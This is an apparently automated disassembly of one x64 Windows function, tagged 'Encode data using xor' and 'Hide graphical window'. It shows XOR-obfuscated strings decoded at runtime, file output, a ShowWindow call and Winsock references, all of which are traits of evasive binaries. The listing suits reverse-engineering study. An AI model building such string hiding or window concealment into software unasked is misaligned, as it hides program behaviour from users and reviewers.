Function at 0x140033dc0
Capabilities:
Encode data using xor
Hide graphical window

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x1401c47c0]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
xor r12d, r12d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rax
lea rcx, [rbp + 0x120]
call fcn.1400395a0
nop
lea rcx, [rbp + 0xb0]
call fcn.14002c660
nop
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x140033e60
mov r8, qword [rax]
mov rax, qword [rax + 0x10]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x120]
call fcn.140039fa0
nop
lea rcx, [rbp + 0xb0]
call fcn.140004160
movdqa xmm0, xmmword [0x1401a5b00]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], reloc.WS2_32.dll_WSACleanup
lea rax, [rsp + 0x49]
mov r14, 0xffffffffffffffff
mov rcx, r14
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140033eb0
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov rdx, qword [rbp + 0x110]
sub rax, rdx
cmp rax, rcx
jb 0x1400347f9
lea r9, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova r9, qword [rbp + 0x100]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x49]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x90]
call fcn.140025b40
nop
mov rdi, qword [rbp + 0xa0]
lea rbx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rbx, qword [rbp + 0x90]
call fcn.140100b90
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rbp - 0x40]
call fcn.140005980
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xf0]
call fcn.1400072e0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x60], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xf0], ecx
lea rax, [0x1401c48e8]
mov qword [rbp + 0xf8], rax
movaps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xf0], xmm0
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x140034047
cmp eax, 1
setne bl
lea rcx, [rbp - 0x40]
call fcn.140004160
nop
lea rcx, [rbp + 0x90]
call fcn.1400041e0
test bl, bl
je 0x140034056
lea rcx, [rbp + 0x100]
call fcn.1400041e0
nop
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x160]
call fcn.140004160
lea rcx, [rbp + 0x140]
call fcn.1400041e0
mov rcx, qword [rbp + 0x138]
test rcx, rcx
je 0x140034017
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140034017
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.140101720
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor bl, bl
test ecx, ecx
jne 0x1400346ab
jmp 0x140033fa1
mov dword [rsp + 0x40], r12d
mov cl, 0x53
mov word [rsp + 0x70], 0x53
movsx edi, cl
movzx eax, di
xor ax, 5
mov word [rsp + 0x72], ax
movzx eax, di
xor ax, 0x26
mov word [rsp + 0x74], ax
movzx ebx, di
xor bx, 0x3f
mov word [rsp + 0x76], bx
movzx r10d, di
xor r10w, 0x3d
mov word [rsp + 0x78], r10w
movzx r11d, di
xor r11w, 0x36
mov word [rsp + 0x7a], r11w
movzx edx, di
xor dx, 0x21
mov word [rsp + 0x7c], dx
movzx r9d, di
xor r9w, 0x32
mov word [rsp + 0x7e], r9w
movzx r8d, di
xor r8w, 0x31
mov word [rbp - 0x80], r8w
mov word [rbp - 0x7e], bx
mov word [rbp - 0x7c], r11w
movzx eax, di
xor ax, 0x17
mov word [rbp - 0x7a], ax
mov word [rbp - 0x78], dx
movzx ecx, di
xor cx, 0x3a
mov word [rbp - 0x76], cx
movzx eax, di
xor ax, 0x25
mov word [rbp - 0x74], ax
mov word [rbp - 0x72], r11w
mov word [rbp - 0x70], dx
movzx eax, di
xor ax, 0x11
mov word [rbp - 0x6e], ax
mov word [rbp - 0x6c], bx
movzx eax, di
xor ax, 0x3c
mov word [rbp - 0x6a], ax
movzx eax, di
xor ax, 0x30
mov word [rbp - 0x68], ax
movzx eax, di
xor ax, 0x38
mov word [rbp - 0x66], ax
mov word [rbp - 0x64], bx
mov word [rbp - 0x62], cx
movzx eax, di
xor ax, 0x20
mov word [rbp - 0x60], ax
movzx eax, di
xor ax, 0x27
mov word [rbp - 0x5e], ax
xor di, 0x16
mov word [rbp - 0x5c], di
mov word [rbp - 0x5a], r10w
mov word [rbp - 0x58], r9w
mov word [rbp - 0x56], r8w
mov word [rbp - 0x54], bx
mov word [rbp - 0x52], r11w
mov word [rbp - 0x50], r12w
lea rax, [rsp + 0x72]
mov qword [rbp + 0xf0], rax
mov cl, 0x22
mov word [rbp - 0x20], 0x22
movsx esi, cl
movzx edi, si
xor di, 0x71
mov word [rbp - 0x1e], di
movzx eax, si
xor ax, 0x7b
mov word [rbp - 0x1c], ax
mov word [rbp - 0x1a], di
movzx eax, si
xor ax, 0x76
mov word [rbp - 0x18], ax
movzx eax, si
xor ax, 0x67
mov word [rbp - 0x16], ax
movzx eax, si
xor ax, 0x6f
mov word [rbp - 0x14], ax
movzx ebx, si
xor bx, 0x7e
mov word [rbp - 0x12], bx
movzx r11d, si
xor r11w, 0x61
mov word [rbp - 0x10], r11w
movzx eax, si
xor ax, 0x57
mov word [rbp - 0xe], ax
movzx r9d, si
xor r9w, 0x50
mov word [rbp - 0xc], r9w
mov word [rbp - 0xa], r9w
movzx edx, si
xor dx, 0x47
mov word [rbp - 8], dx
movzx r10d, si
xor r10w, 0x4c
mov word [rbp - 6], r10w
movzx ecx, si
xor cx, 0x56
mov word [rbp - 4], cx
mov word [rbp - 2], r11w
movzx r8d, si
xor r8w, 0x4d
mov word [rbp], r8w
mov word [rbp + 2], r10w
mov word [rbp + 4], cx
mov word [rbp + 6], r9w
mov word [rbp + 8], r8w
movzx eax, si
xor ax, 0x4e
mov word [rbp + 0xa], ax
mov word [rbp + 0xc], di
mov word [rbp + 0xe], dx
mov word [rbp + 0x10], cx
mov word [rbp + 0x12], bx
mov word [rbp + 0x14], r11w
mov word [rbp + 0x16], r8w
mov word [rbp + 0x18], r10w
mov word [rbp + 0x1a], cx
mov word [rbp + 0x1c], r9w
mov word [rbp + 0x1e], r8w
mov word [rbp + 0x20], ax
mov word [rbp + 0x22], bx
mov word [rbp + 0x24], r11w
movzx eax, si
xor ax, 0x6b
mov word [rbp + 0x26], ax
mov word [rbp + 0x28], bx
mov word [rbp + 0x2a], r11w
mov word [rbp + 0x2c], r8w
mov word [rbp + 0x2e], r10w
movzx eax, si
xor ax, 0x44
mov word [rbp + 0x30], ax
movzx eax, si
xor ax, 0x4b
mov word [rbp + 0x32], ax
xor si, 0x45
mov word [rbp + 0x34], si
mov word [rbp + 0x36], r12w
lea rax, [rbp - 0x1e]
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x60]
call fcn.140032fc0
test al, al
je 0x1400347f3
mov dword [rsp + 0x40], r12d
mov cl, socket
mov word [rsp + 0x48], socket
movsx ecx, cl
movzx eax, cx
xor ax, 0x53
mov word [rsp + 0x4a], ax
movzx eax, cx
xor ax, 0x78
mov word [rsp + 0x4c], ax
movzx eax, cx
xor ax, 0x77
mov word [rsp + 0x4e], ax
movzx eax, cx
xor ax, 0x74
mov word [rsp + 0x50], ax
movzx eax, cx
xor ax, 0x7a
mov word [rsp + 0x52], ax
movzx eax, cx
xor ax, 0x73
mov word [rsp + 0x54], ax
xor cx, 0x72
mov word [rsp + 0x56], cx
mov word [rsp + 0x58], r12w
lea rax, [rsp + 0x4a]
mov qword [rsp + 0x60], rax
lea rdx, [rbp - 0x20]
call fcn.140034810
lea r9, [rax + 2]
lea rcx, [rax + 4]
mov r8d, 0x2b
nop word [rax + rax]
movsx edx, byte [rax]
xor word [rcx - 2], dx
movsx edx, byte [rax]
xor word [rcx], dx
lea rcx, [rcx + 4]
sub r8, 1
jne 0x140034390
mov word [r9 + 0xac], r12w
mov qword [rbp + 0xf0], r9
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.140032fc0
test al, al
je 0x1400347f3
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x1401a5b10]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], reloc.WS2_32.dll_WSACleanup
lea rax, [rsp + 0x49]
inc r14
cmp byte [rax + r14], 0
jne 0x140034402
mov rax, qword [rbp + 0x110]
sub r15, rax
cmp r15, r14
jb 0x1400347ff
lea r9, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova r9, qword [rbp + 0x100]
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x49]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x40]
call fcn.140025b40
nop
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x1a0]
call fcn.140020620
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp - 0x40]
call fcn.1400041e0
cmp qword [rbp + 0x228], 0
je 0x1400346c6
lea rdx, ds:[rsp + 0x60]
call fcn.140034a20
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
mov byte [rax + 8], 0
lea rcx, [rbp + 0x1a0]
call fcn.140004620
lea rdx, [0x140004800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x1a0]
call fcn.140020580
mov edx, 5
mov rcx, qword [0x1401c66e0]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x20]
call fcn.140034a40
lea rdx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
xor byte [rax + 0x3e], r8b
xor byte [rax + 0x3f], r8b
xor byte [rax + 0x40], r8b
xor byte [rax + 0x41], r8b
xor byte [rax + 0x42], r8b
xor byte [rax + 0x43], r8b
xor byte [rax + 0x44], r8b
xor byte [rax + 0x45], r8b
xor byte [rax + 0x46], r8b
xor byte [rax + 0x47], r8b
xor byte [rax + 0x48], r8b
xor byte [rax + 0x49], r8b
xor byte [rax + 0x4a], r8b
xor byte [rax + 0x4b], r8b
xor byte [rax + 0x4c], r8b
xor byte [rax + 0x4d], r8b
xor byte [rax + 0x4e], r8b
xor byte [rax + 0x4f], r8b
xor byte [rax + 0x50], r8b
xor byte [rax + 0x51], r8b
xor byte [rax + 0x52], r8b
xor byte [rax + 0x53], r8b
xor byte [rax + 0x54], r8b
xor byte [rax + 0x55], r8b
xor byte [rax + 0x56], r8b
xor byte [rax + 0x57], r8b
mov byte [rax + 0x58], 0
call fcn.140004620
call fcn.14002c630
nop
lea r8, ds:[rbp - 0x40]
lea rdx, [rbp + 0xf0]
lea rcx, str.exists
call fcn.1400069e0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rbp + 0xb0]
call fcn.1400349a0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
mov byte [rax + 0x3e], 0
call fcn.140004620
lea rdx, [0x140004800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002c630
nop
call fcn.14002c630
int3
call fcn.140004ca0
int3
nop
call fcn.140004ca0
int3